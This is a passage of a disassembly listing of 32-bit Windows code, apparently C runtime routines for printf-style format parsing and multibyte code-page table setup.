cmp bl, 68h
jz short loc_41F819
cmp bl, 6Ch
jz short loc_41F810
cmp bl, 77h
jnz loc_41FDA7 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F810: ; CODE XREF: sub_41F69F+15Dj
or [ebp+var_4], 10h
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F819: ; CODE XREF: sub_41F69F+158j
or [ebp+var_4], 20h
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F822: ; CODE XREF: sub_41F69F+153j
cmp byte ptr [edi], 36h
jnz short loc_41F83B
cmp byte ptr [edi+1], 34h
jnz short loc_41F83B
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F83B: ; CODE XREF: sub_41F69F+186j
; sub_41F69F+18Cj
mov [ebp+var_30], edx
loc_41F83E: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
mov ecx, off_43C2F8 ; jumptable 0041F70D case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41F86A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41FDE0
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_41F86A: ; CODE XREF: sub_41F69F+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41FDE0
add esp, 0Ch
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F882: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
movsx eax, bl ; jumptable 0041F70D case 7
cmp eax, 67h
jg loc_41FAAA
cmp eax, 65h
jge loc_41F92D
cmp eax, 58h
jg loc_41F98B
jz loc_41FB1E
sub eax, 43h
jz loc_41F94E
dec eax
dec eax
jz short loc_41F923
dec eax
dec eax
jz short loc_41F923
sub eax, 0Ch
jnz loc_41FCA9
test word ptr [ebp+var_4], 830h
jnz short loc_41F8CC
or byte ptr [ebp+var_4+1], 8
loc_41F8CC: ; CODE XREF: sub_41F69F+227j
; sub_41F69F+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_41F8D9
mov esi, 7FFFFFFFh
loc_41F8D9: ; CODE XREF: sub_41F69F+233j
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_41FAF2
test ecx, ecx
jnz short loc_41F901
mov ecx, off_43C514
mov [ebp+var_8], ecx
loc_41F901: ; CODE XREF: sub_41F69F+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_41F90A: ; CODE XREF: sub_41F69F+282j
mov edx, esi
dec esi
test edx, edx
jz loc_41FAE9
cmp word ptr [eax], 0
jz loc_41FAE9
inc eax
inc eax
jmp short loc_41F90A
; ---------------------------------------------------------------------------
loc_41F923: ; CODE XREF: sub_41F69F+212j
; sub_41F69F+216j
mov [ebp+var_34], 1
add bl, 20h
loc_41F92D: ; CODE XREF: sub_41F69F+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_41FA11
mov [ebp+var_10], 6
jmp loc_41FA1F
; ---------------------------------------------------------------------------
loc_41F94E: ; CODE XREF: sub_41F69F+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_41F95A
or byte ptr [ebp+var_4+1], 8
loc_41F95A: ; CODE XREF: sub_41F69F+2B5j
; sub_41F69F+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_41F9A1
call sub_41FE9B
push eax
lea eax, [ebp+var_248]
push eax
call sub_423E5B
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_41F9B4
mov [ebp+var_28], 1
jmp short loc_41F9B4
; ---------------------------------------------------------------------------
loc_41F98B: ; CODE XREF: sub_41F69F+1FBj
sub eax, 5Ah
jz short loc_41F9C2
sub eax, 9
jz short loc_41F95A
dec eax
jz loc_41FB84
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j
call sub_41FE7E
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j
; sub_41F69F+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
jz short loc_41FA03
mov ecx, [eax+4]
test ecx, ecx
jz short loc_41FA03
test byte ptr [ebp+var_4+1], 8
jz short loc_41F9F4
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FA03: ; CODE XREF: sub_41F69F+32Fj
; sub_41F69F+336j
mov eax, off_43C510
mov [ebp+var_8], eax
push eax
jmp loc_41FA9F
; ---------------------------------------------------------------------------
loc_41FA11: ; CODE XREF: sub_41F69F+29Dj
jnz short loc_41FA1F
cmp bl, 67h
jnz short loc_41FA1F
mov [ebp+var_10], 1
loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj
; sub_41F69F:loc_41FA11j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43C8A0
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_41FA71
cmp [ebp+var_10], 0
jnz short loc_41FA71
lea eax, [ebp+var_248]
push eax
call off_43C8AC
pop ecx
loc_41FA71: ; CODE XREF: sub_41F69F+3BCj
; sub_41F69F+3C2j
cmp bl, 67h
jnz short loc_41FA88
test esi, esi
jnz short loc_41FA88
lea eax, [ebp+var_248]
push eax
call off_43C8A4
pop ecx
loc_41FA88: ; CODE XREF: sub_41F69F+3D5j
; sub_41F69F+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_41FA9E
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j
push edi
loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj
call sub_41AFE0
pop ecx
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j
sub eax, 69h
jz loc_41FB84
sub eax, 5
jz loc_41FB5A
dec eax
jz loc_41FB47
dec eax
jz short loc_41FB17
sub eax, 3
jz loc_41F8CC
dec eax
dec eax
jz loc_41FB88
sub eax, 3
jnz loc_41FCA9
mov [ebp+var_2C], 27h
jmp short loc_41FB25
; ---------------------------------------------------------------------------
loc_41FAE9: ; CODE XREF: sub_41F69F+270j
; sub_41F69F+27Aj
sub eax, ecx
sar eax, 1
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj
test ecx, ecx
jnz short loc_41FAFF
mov ecx, off_43C510
mov [ebp+var_8], ecx
loc_41FAFF: ; CODE XREF: sub_41F69F+455j
mov eax, ecx
loc_41FB01: ; CODE XREF: sub_41F69F+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_41FB10
cmp byte ptr [eax], 0
jz short loc_41FB10
inc eax
jmp short loc_41FB01
; ---------------------------------------------------------------------------
loc_41FB10: ; CODE XREF: sub_41F69F+467j
; sub_41F69F+46Cj
sub eax, ecx
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FB17: ; CODE XREF: sub_41F69F+425j
mov [ebp+var_10], 8
loc_41FB1E: ; CODE XREF: sub_41F69F+201j
mov [ebp+var_2C], 7
loc_41FB25: ; CODE XREF: sub_41F69F+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41FB8F
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41FB8F
; ---------------------------------------------------------------------------
loc_41FB47: ; CODE XREF: sub_41F69F+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41FB8F
or byte ptr [ebp+var_4+1], 2
jmp short loc_41FB8F
; ---------------------------------------------------------------------------
loc_41FB5A: ; CODE XREF: sub_41F69F+417j
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_41FB73
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_41FB78
; ---------------------------------------------------------------------------
loc_41FB73: ; CODE XREF: sub_41F69F+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_41FB78: ; CODE XREF: sub_41F69F+4D2j
mov [ebp+var_28], 1
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41FB84: ; CODE XREF: sub_41F69F+2F7j
; sub_41F69F+40Ej
or [ebp+var_4], 40h
loc_41FB88: ; CODE XREF: sub_41F69F+432j
mov [ebp+var_C], 0Ah
loc_41FB8F: ; CODE XREF: sub_41F69F+491j
; sub_41F69F+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_41FBA1
lea eax, [ebp+arg_8]
push eax
call sub_41FE8B
pop ecx
jmp short loc_41FBE2
; ---------------------------------------------------------------------------
loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_41FBC8
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FBBD
call sub_41FE7E
pop ecx
movsx eax, ax
loc_41FBBA: ; CODE XREF: sub_41F69F+527j
; sub_41F69F+539j
cdq
jmp short loc_41FBE2
; ---------------------------------------------------------------------------
loc_41FBBD: ; CODE XREF: sub_41F69F+510j
call sub_41FE7E
pop ecx
movzx eax, ax
jmp short loc_41FBBA
; ---------------------------------------------------------------------------
loc_41FBC8: ; CODE XREF: sub_41F69F+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FBDA
call sub_41FE7E
pop ecx
jmp short loc_41FBBA
; ---------------------------------------------------------------------------
loc_41FBDA: ; CODE XREF: sub_41F69F+531j
call sub_41FE7E
pop ecx
xor edx, edx
loc_41FBE2: ; CODE XREF: sub_41F69F+500j
; sub_41F69F+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_41FC03
test edx, edx
jg short loc_41FC03
jl short loc_41FBF2
test eax, eax
jnb short loc_41FC03
loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_41FC07
; ---------------------------------------------------------------------------
loc_41FC03: ; CODE XREF: sub_41F69F+547j
; sub_41F69F+54Bj ...
mov esi, eax
mov edi, edx
loc_41FC07: ; CODE XREF: sub_41F69F+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_41FC10
and edi, 0
loc_41FC10: ; CODE XREF: sub_41F69F+56Cj
cmp [ebp+var_10], 0
jge short loc_41FC1F
mov [ebp+var_10], 1
jmp short loc_41FC23
; ---------------------------------------------------------------------------
loc_41FC1F: ; CODE XREF: sub_41F69F+575j
and [ebp+var_4], 0FFFFFFF7h
loc_41FC23: ; CODE XREF: sub_41F69F+57Ej
mov eax, esi
or eax, edi
jnz short loc_41FC2D
and [ebp+var_1C], 0
loc_41FC2D: ; CODE XREF: sub_41F69F+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_41FC33: ; CODE XREF: sub_41F69F+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_41FC43
mov eax, esi
or eax, edi
jz short loc_41FC7E
loc_41FC43: ; CODE XREF: sub_41F69F+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_41D480
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_41D410
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_41FC74
add ebx, [ebp+var_2C]
loc_41FC74: ; CODE XREF: sub_41F69F+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_41FC33
; ---------------------------------------------------------------------------
loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_41FCA9
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_41FC9C
test eax, eax
jnz short loc_41FCA9
loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj
; sub_41F69F+406j ...
mov [ebp+var_C], eax
loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj
; sub_41F69F+2FDj ...
cmp [ebp+var_28], 0
jnz loc_41FDA7 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_41FCE1
test bh, 1
jz short loc_41FCC6
mov [ebp+var_16], 2Dh
jmp short loc_41FCDA
; ---------------------------------------------------------------------------
loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj
test bl, 1
jz short loc_41FCD1
mov [ebp+var_16], 2Bh
jmp short loc_41FCDA
; ---------------------------------------------------------------------------
loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj
test bl, 2
jz short loc_41FCE1
mov [ebp+var_16], 20h
loc_41FCDA: ; CODE XREF: sub_41F69F+625j
; sub_41F69F+630j
mov [ebp+var_1C], 1
loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj
; sub_41F69F+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_41FD01
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41FE15
add esp, 10h
loc_41FD01: ; CODE XREF: sub_41F69F+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_41FE46
add esp, 10h
test bl, 8
jz short loc_41FD33
test bl, 4
jnz short loc_41FD33
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_41FE15
add esp, 10h
loc_41FD33: ; CODE XREF: sub_41F69F+67Bj
; sub_41F69F+680j
cmp [ebp+var_24], 0
jz short loc_41FD7A
cmp [ebp+var_C], 0
jle short loc_41FD7A
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_41FD48: ; CODE XREF: sub_41F69F+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_423E5B
pop ecx
test eax, eax
pop ecx
jle short loc_41FD8F
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_41FE46
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_41FD48
jmp short loc_41FD8F
; ---------------------------------------------------------------------------
loc_41FD7A: ; CODE XREF: sub_41F69F+698j
; sub_41F69F+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_41FE46
add esp, 10h
loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj
; sub_41F69F+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_41FDA7 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41FE15
add esp, 10h
loc_41FDA7: ; CODE XREF: sub_41F69F+68j
; sub_41F69F+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41F6CB
loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj
; sub_41F69F+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41F69F endp
; ---------------------------------------------------------------------------
off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er
dd offset loc_41F714 ; jump table for switch statement
dd offset loc_41F72F
dd offset loc_41F77B
dd offset loc_41F7B2
dd offset loc_41F7BA
dd offset loc_41F7EF
dd offset loc_41F882
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp
; sub_41F69F+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_41FDF9
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_41FE04
; ---------------------------------------------------------------------------
loc_41FDF9: ; CODE XREF: sub_41FDE0+9j
push ecx
push [ebp+arg_0]
call sub_41F58A
pop ecx
pop ecx
loc_41FE04: ; CODE XREF: sub_41FDE0+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_41FE11
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_41FDE0 endp
; =============== S U B R O U T I N E =======================================
sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap
; sub_41F69F+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_41FE43
mov esi, [esp+8+arg_C]
loc_41FE26: ; CODE XREF: sub_41FE15+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_41FDE0
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_41FE43
mov eax, edi
dec edi
test eax, eax
jg short loc_41FE26
loc_41FE43: ; CODE XREF: sub_41FE15+Bj
; sub_41FE15+25j
pop edi
pop esi
retn
sub_41FE15 endp
; =============== S U B R O U T I N E =======================================
sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p
; sub_41F69F+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_41FE7A
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_41FE5C: ; CODE XREF: sub_41FE46+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_41FDE0
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_41FE7A
mov eax, ebx
dec ebx
test eax, eax
jg short loc_41FE5C
loc_41FE7A: ; CODE XREF: sub_41FE46+Cj
; sub_41FE46+2Bj
pop edi
pop esi
pop ebx
retn
sub_41FE46 endp
; =============== S U B R O U T I N E =======================================
sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p
; sub_41F69F+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_41FE7E endp
; =============== S U B R O U T I N E =======================================
sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_41FE8B endp
; =============== S U B R O U T I N E =======================================
sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_41FE9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_420042
mov esi, eax
pop ecx
cmp esi, dword_4DC6C4
mov [ebp+arg_0], esi
jz loc_420036
xor ebx, ebx
cmp esi, ebx
jz loc_42002C
xor edx, edx
mov eax, offset dword_43C520
loc_41FEDD: ; CODE XREF: sub_41FEA9+41j
cmp [eax], esi
jz short loc_41FF53
add eax, 30h
inc edx
cmp eax, offset dword_43C610
jl short loc_41FEDD
lea eax, [ebp+var_18]
push eax
push esi
nop
call near ptr 28B0000h
cmp eax, 1
jnz loc_420024
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DC7E0
cmp [ebp+var_18], 1
mov dword_4DC6C4, esi
rep stosd
stosb
mov dword_4DC8E4, ebx
jbe loc_420012
cmp [ebp+var_12], 0
jz loc_41FFE8
lea ecx, [ebp+var_11]
loc_41FF30: ; CODE XREF: sub_41FEA9+139j
mov dl, [ecx]
test dl, dl
jz loc_41FFE8
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_41FF41: ; CODE XREF: sub_41FEA9+A8j
cmp eax, edx
ja loc_41FFDC
or byte_4DC7E1[eax], 4
inc eax
jmp short loc_41FF41
; ---------------------------------------------------------------------------
loc_41FF53: ; CODE XREF: sub_41FEA9+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DC7E0
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43C530[esi]
loc_41FF6F: ; CODE XREF: sub_41FEA9+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41FFA2
loc_41FF76: ; CODE XREF: sub_41FEA9+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_41FFA2
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41FF9B
mov edx, [ebp+var_4]
mov dl, byte_43C518[edx]
loc_41FF90: ; CODE XREF: sub_41FEA9+F0j
or byte_4DC7E1[eax], dl
inc eax
cmp eax, edi
jbe short loc_41FF90
loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41FF76
loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj
; sub_41FEA9+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_41FF6F
mov eax, [ebp+arg_0]
mov dword_4DC6DC, 1
push eax
mov dword_4DC6C4, eax
call sub_42008C
lea esi, dword_43C524[esi]
mov edi, offset dword_4DC6D0
movsd
movsd
pop ecx
mov dword_4DC8E4, eax
movsd
jmp short loc_420031
; ---------------------------------------------------------------------------
loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_41FF30
loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej
; sub_41FEA9+8Bj
push 1
pop eax
loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj
or byte_4DC7E1[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41FFEB
push esi
call sub_42008C
pop ecx
mov dword_4DC8E4, eax
mov dword_4DC6DC, 1
jmp short loc_420018
; ---------------------------------------------------------------------------
loc_420012: ; CODE XREF: sub_41FEA9+74j
mov dword_4DC6DC, ebx
loc_420018: ; CODE XREF: sub_41FEA9+167j
xor eax, eax
mov edi, offset dword_4DC6D0
stosd
stosd
stosd
jmp short loc_420031
; ---------------------------------------------------------------------------
loc_420024: ; CODE XREF: sub_41FEA9+51j
cmp dword_4DB300, ebx
jz short loc_42003A
loc_42002C: ; CODE XREF: sub_41FEA9+27j
call sub_4200BF
loc_420031: ; CODE XREF: sub_41FEA9+131j
; sub_41FEA9+179j
call sub_4200E8
loc_420036: ; CODE XREF: sub_41FEA9+1Dj
xor eax, eax
jmp short loc_42003D
; ---------------------------------------------------------------------------
loc_42003A: ; CODE XREF: sub_41FEA9+181j
or eax, 0FFFFFFFFh
loc_42003D: ; CODE XREF: sub_41FEA9+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41FEA9 endp
; =============== S U B R O U T I N E =======================================
sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_4DB300, 0
cmp eax, 0FFFFFFFEh
jnz short loc_420062
mov dword_4DB300, 1
nop
jmp near ptr 2650929h
; ---------------------------------------------------------------------------
loc_420062: ; CODE XREF: sub_420042+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_420077
mov dword_4DB300, 1
jmp near ptr 28B0756h
; ---------------------------------------------------------------------------
db 3Ch
; ---------------------------------------------------------------------------
loc_420077: ; CODE XREF: sub_420042+23j
cmp eax, 0FFFFFFFCh
jnz short locret_42008B
mov eax, dword_4DB344
mov dword_4DB300, 1
locret_42008B: ; CODE XREF: sub_420042+38j
retn
sub_420042 endp
; =============== S U B R O U T I N E =======================================
sub_42008C proc near ; CODE XREF: sub_41FEA9+118p
; sub_41FEA9+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_4200B9
sub eax, 4
jz short loc_4200B3
sub eax, 0Dh
jz short loc_4200AD
dec eax
jz short loc_4200A7
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4200A7: ; CODE XREF: sub_42008C+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_4200AD: ; CODE XREF: sub_42008C+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_4200B3: ; CODE XREF: sub_42008C+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_4200B9: ; CODE XREF: sub_42008C+9j
mov eax, 411h
retn
sub_42008C endp
; =============== S U B R O U T I N E =======================================
sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4DC7E0
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4DC6D0
mov dword_4DC6C4, eax
mov dword_4DC6DC, eax
mov dword_4DC8E4, eax
stosd
stosd
stosd
pop edi
retn
sub_4200BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_4DC6C4
nop
call near ptr 28B0000h
cmp eax, 1
jnz loc_420221
xor eax, eax
mov esi, 100h
loc_420112: ; CODE XREF: sub_4200E8+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_420112
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_420163
push ebx
push edi
lea edx, [ebp+var_D]
loc_420131: ; CODE XREF: sub_4200E8+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_420158
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_420158: ; CODE XREF: sub_4200E8+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_420131
pop edi
pop ebx
loc_420163: ; CODE XREF: sub_4200E8+42j
push 0
lea eax, [ebp+var_514]
push dword_4DC8E4
push dword_4DC6C4
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_423CEC
push 0
lea eax, [ebp+var_214]
push dword_4DC6C4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_4DC8E4
call sub_422ACA
push 0
lea eax, [ebp+var_314]
push dword_4DC6C4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_4DC8E4
call sub_422ACA
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_4201DE: ; CODE XREF: sub_4200E8+135j
mov dx, [ecx]
test dl, 1
jz short loc_4201FC
or byte_4DC7E1[eax], 10h
mov dl, [ebp+eax+var_214]
loc_4201F4: ; CODE XREF: sub_4200E8+127j
mov byte_4DC6E0[eax], dl
jmp short loc_420218
; ---------------------------------------------------------------------------
loc_4201FC: ; CODE XREF: sub_4200E8+FCj
test dl, 2
jz short loc_420211
or byte_4DC7E1[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_4201F4
; ---------------------------------------------------------------------------
loc_420211: ; CODE XREF: sub_4200E8+117j
